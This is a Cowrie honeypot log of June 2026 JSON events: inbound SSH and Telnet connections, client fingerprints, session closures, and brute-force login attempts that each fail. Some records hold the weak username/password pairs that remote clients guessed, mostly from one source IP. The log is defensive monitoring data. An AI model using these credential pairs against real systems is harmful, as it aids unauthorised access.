{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:47.608793Z","src_ip":"27.71.230.31","session":"dd63aba3826e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49938,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ddc93ff1da8","protocol":"ssh","message":"New connection: 45.156.87.147:49938 (10.17.0.5:22) [session: 8ddc93ff1da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:49.231815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:49.235734Z","src_ip":"45.156.87.147","session":"8ddc93ff1da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:49.320605Z","src_ip":"45.156.87.147","session":"8ddc93ff1da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"1234567890","message":"login attempt [fastuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:49.568959Z","src_ip":"45.156.87.147","session":"8ddc93ff1da8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.149.181.32","src_port":2727,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d1bdb60b9a4","protocol":"telnet","message":"New connection: 213.149.181.32:2727 (10.17.0.5:23) [session: 1d1bdb60b9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:50.344099Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:50.652994Z","src_ip":"45.156.87.147","session":"8ddc93ff1da8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":53076,"dst_ip":"159.203.135.109","dst_port":22,"session":"f63e849d605f","protocol":"ssh","message":"New connection: 51.250.105.222:53076 (159.203.135.109:22) [session: f63e849d605f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:52.097316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:52.100829Z","src_ip":"51.250.105.222","session":"f63e849d605f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:52.224477Z","src_ip":"51.250.105.222","session":"f63e849d605f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:52.600948Z","src_ip":"51.250.105.222","session":"f63e849d605f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:53.728565Z","src_ip":"51.250.105.222","session":"f63e849d605f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49954,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c62897d8a37","protocol":"ssh","message":"New connection: 45.156.87.147:49954 (10.17.0.5:22) [session: 3c62897d8a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:55.421871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:55.426444Z","src_ip":"45.156.87.147","session":"3c62897d8a37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:55.511626Z","src_ip":"45.156.87.147","session":"3c62897d8a37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:55.760763Z","src_ip":"45.156.87.147","session":"3c62897d8a37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:56.848920Z","src_ip":"45.156.87.147","session":"3c62897d8a37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38606,"dst_ip":"159.203.135.109","dst_port":23,"session":"e87683e1fbe9","protocol":"telnet","message":"New connection: 128.199.8.54:38606 (159.203.135.109:23) [session: e87683e1fbe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:01.390409Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46144,"dst_ip":"10.17.0.5","dst_port":22,"session":"52ebe5d181eb","protocol":"ssh","message":"New connection: 45.156.87.147:46144 (10.17.0.5:22) [session: 52ebe5d181eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:01.504994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:01.509034Z","src_ip":"45.156.87.147","session":"52ebe5d181eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:01.608873Z","src_ip":"45.156.87.147","session":"52ebe5d181eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:01.868425Z","src_ip":"45.156.87.147","session":"52ebe5d181eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:02.956908Z","src_ip":"45.156.87.147","session":"52ebe5d181eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.342816352844238,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:03.686797Z","src_ip":"213.149.181.32","session":"1d1bdb60b9a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46160,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b332dcd3a73","protocol":"ssh","message":"New connection: 45.156.87.147:46160 (10.17.0.5:22) [session: 7b332dcd3a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:07.753027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:07.764305Z","src_ip":"45.156.87.147","session":"7b332dcd3a73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:07.863571Z","src_ip":"45.156.87.147","session":"7b332dcd3a73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:08.115583Z","src_ip":"45.156.87.147","session":"7b332dcd3a73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:09.201655Z","src_ip":"45.156.87.147","session":"7b332dcd3a73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54222,"dst_ip":"10.17.0.5","dst_port":22,"session":"45b8cebfe010","protocol":"ssh","message":"New connection: 45.156.87.147:54222 (10.17.0.5:22) [session: 45b8cebfe010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:14.082663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:14.087052Z","src_ip":"45.156.87.147","session":"45b8cebfe010","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:14.169369Z","src_ip":"45.156.87.147","session":"45b8cebfe010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"111111","message":"login attempt [tom/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:14.426580Z","src_ip":"45.156.87.147","session":"45b8cebfe010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:15.514066Z","src_ip":"45.156.87.147","session":"45b8cebfe010","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45724,"dst_ip":"10.17.0.5","dst_port":22,"session":"12d4a3657c4b","protocol":"ssh","message":"New connection: 45.156.87.147:45724 (10.17.0.5:22) [session: 12d4a3657c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:20.151108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:20.158129Z","src_ip":"45.156.87.147","session":"12d4a3657c4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:20.250442Z","src_ip":"45.156.87.147","session":"12d4a3657c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toto","password":"toto","message":"login attempt [toto/toto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:20.506004Z","src_ip":"45.156.87.147","session":"12d4a3657c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:21.591306Z","src_ip":"45.156.87.147","session":"12d4a3657c4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45734,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fa8dd121b73","protocol":"ssh","message":"New connection: 45.156.87.147:45734 (10.17.0.5:22) [session: 9fa8dd121b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:26.372583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:26.376549Z","src_ip":"45.156.87.147","session":"9fa8dd121b73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:26.458587Z","src_ip":"45.156.87.147","session":"9fa8dd121b73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:26.708356Z","src_ip":"45.156.87.147","session":"9fa8dd121b73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:40:27.805865Z","src_ip":"45.156.87.147","session":"9fa8dd121b73","protocol":"ssh"}
